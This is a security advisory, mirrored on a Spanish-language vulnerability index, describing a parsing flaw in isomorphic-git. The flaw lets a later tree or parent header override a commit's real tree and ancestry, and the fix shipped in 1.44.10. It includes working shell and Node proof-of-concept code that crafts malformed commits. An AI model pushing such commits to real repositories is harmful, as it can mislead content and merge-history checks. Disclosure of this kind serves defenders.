GHSA-3W7H-3CVC-VXG6
parseHeaders lets a later tree/parent header override the commit’s real tree and ancestry
Texto original en inglés · Ver en español
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 1.44.10 | isomorphic-git · -8 d desde divulgación | |
| Divulgación | Publicada | GHSA-3W7H-3CVC-VXG6 divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
GitCommit.parseHeaders() folds continuation lines and then assigns every header by name
Git’s grammar is positional: exactly one tree first, then parent lines, then author and committer; anything after committer is an extra header that git keeps but does not interpret. git fsck --strict and GitHub’s push-time fsck accept a second tree or a parent placed after committer (fsck validates the header prefix only and never examines later headers).
Details
An attacker can push a commit that:
checks out different files under isomorphic-git than under git: readCommit, checkout, readTree-based code and anything that uses commit.tree see the last tree line, while git, libgit2, go-git, JGit, GitHub, git clone see the first;
has a different ancestry under isomorphic-git: a parent line after committer makes the commit a merge for log, isDescendent, findMergeBase, while git and GitHub see a single parent. A “has branch X been merged?” decision built on isDescendent flips.
Proof of concept
Proof of concept
Build the objects with git (any version):
mkdir /tmp/iso && cd /tmp/iso && git init -q -b main .
echo A > f && git add f && T1=$(git write-tree)
echo B > f && git add f && T2=$(git write-tree) && git checkout -q -- f
C=$(printf 'tree %s\nauthor A <a@x> 1717243200 +0000\ncommitter A <a@x> 1717243200 +0000\ntree %s\n\nmsg\n' $T1 $T2 \
| git hash-object -t commit -w --literally --stdin)
E=$(git -c user.name=M -c user.email=m@x commit-tree -m never-merged $T2)
C2=$(printf 'tree %s\nparent %s\nauthor A <a@x> 2 +0000\ncommitter A <a@x> 2 +0000\nparent %s\n\nm\n' $T1 $C $E \
| git hash-object -t commit -w --literally --stdin)
git update-ref refs/heads/main $C2; git fsck --strict # clean
git rev-parse "$C^{tree}"; git log --format=%P -1 $C2 # T1; one parent
Compare with isomorphic-git:
const git = require('isomorphic-git'); const fs = require('fs');
(async () => {
const dir = '/tmp/iso';
const c = await git.readCommit({ fs, dir, oid: process.env.C });
const c2 = await git.readCommit({ fs, dir, oid: process.env.C2 });
console.log(c.commit.tree); // T2 (git says T1)
console.log(c2.commit.parent); // [C, E] (git says [C])
console.log(await git.isDescendent({ fs, dir, oid: process.env.C2, ancestor: process.env.E })); // true (git: false)
})();
We ran this comparison against objects served by GitHub (private test repository, fresh clone): C git, GitHub’s API, libgit2 1.9.7, go-git v5 and JGit 7.8 agree with each other; isomorphic-git 1.44.3 and dulwich 1.2.17 disagree with all of them in the way described.
Impact
Anything that fetches from a remote the attacker can push to and then uses isomorphic-git to decide what the content or the history is. Examples we found by code search: scaffolding and template fetchers that clone with isomorphic-git and read files from the checkout; git REST services whose commit representation comes from readCommit; release and policy tooling using log/isDescendent. Browser-based clients cannot fall back to a git binary, so the discrepancy is not detectable from inside the application.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmisomorphic-git |
Corregida | 1.44.10 | -8 d | 1.44.17 no afectada |
1.44.10Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-3w7h-3cvc-vxg6Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
